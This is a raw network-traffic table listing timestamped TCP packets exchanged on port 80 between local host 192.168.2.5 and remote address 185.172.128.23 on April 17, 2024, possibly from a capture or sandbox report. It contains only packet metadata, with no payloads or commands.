Apr 17, 2024 09:17:07.585680008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585707903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585719109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585745096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585758924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585782051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585796118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585819006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585830927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585855961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585866928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585895061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585903883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585932970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585943937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585969925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585980892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586005926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586018085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586045027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586054087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586081982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586091995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586119890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586129904 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586159945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586169004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586196899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586206913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586234093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586244106 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586271048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586281061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586308956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586319923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586347103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586358070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586384058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586395025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586421013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586431980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586458921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586467981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586503029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586508989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586539984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586550951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586577892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586590052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586616039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586625099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586652040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586663961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586689949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586699009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586725950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586739063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586762905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586774111 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586800098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586810112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586838007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586848021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586874962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586885929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586911917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586922884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586949110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586958885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.586987972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.586998940 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.587038040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792336941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792408943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792499065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792537928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792582989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792623043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792646885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792646885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792646885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792661905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792685032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792702913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792720079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792741060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792782068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792819977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792859077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792882919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792882919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792882919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792882919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792898893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792917013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792937994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792958021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.792977095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.792990923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793019056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793029070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793057919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793076038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793100119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793114901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793138027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793154955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793175936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793189049 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793216944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793230057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793256044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793267965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793296099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793312073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793334007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793344975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793373108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793385029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793411970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793426037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793451071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793464899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793489933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793526888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793529034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793540001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793569088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793575048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793607950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793620110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793648958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793658972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793685913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793719053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793725014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793740034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793761015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793773890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793800116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793812990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793840885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793858051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793879032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793889046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793919086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793931007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793956995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.793970108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.793997049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794018030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794037104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794045925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794076920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794087887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794115067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794151068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794154882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794171095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794190884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794218063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794276953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794295073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794316053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794331074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794354916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794367075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794393063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794426918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794430971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794445038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794467926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794478893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794504881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794512987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794543982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794560909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794583082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794615030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794620991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794630051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794658899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794672012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794697046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794703007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794734955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794753075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794774055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794785976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794812918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794825077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794852972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794867039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794891119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794904947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.794929981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794972897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.794979095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795011044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795017004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795017004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795052052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795063972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795089960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795104027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795129061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795140028 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795167923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795178890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795206070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795218945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795244932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795255899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795284033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795294046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795321941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795331955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795358896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795371056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795397043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795408964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795434952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795439005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795470953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795485020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795509100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795521975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795551062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795558929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795588970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795598984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795627117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795640945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795665026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795675993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795702934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795713902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795742035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795758009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795780897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795790911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795818090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795830965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795876980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795888901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795916080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795928955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795954943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.795968056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.795993090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796009064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796030998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796050072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796070099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796082020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796122074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796145916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796185970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796202898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796224117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796236038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796262980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796277046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796303034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796314955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796340942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796354055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796380043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796394110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796418905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796432018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796457052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796468019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796495914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796508074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796534061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796546936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796572924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796582937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796611071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796623945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796648979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796662092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796689034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796700954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796726942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796740055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796763897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796776056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796802998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796814919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796840906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796854019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796880007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796892881 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796919107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796931028 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796957016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.796969891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.796993971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797008038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797034025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797046900 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797071934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797086000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797112942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797125101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797151089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797166109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797188044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797199965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797224998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797238111 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797272921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797275066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797314882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797327042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797353029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797367096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797390938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797404051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797427893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797441959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797466993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797482014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797508955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797522068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797549009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797571898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797585964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797599077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797624111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797636986 CEST	49704	80	192.168.2.5	185.172.128.23
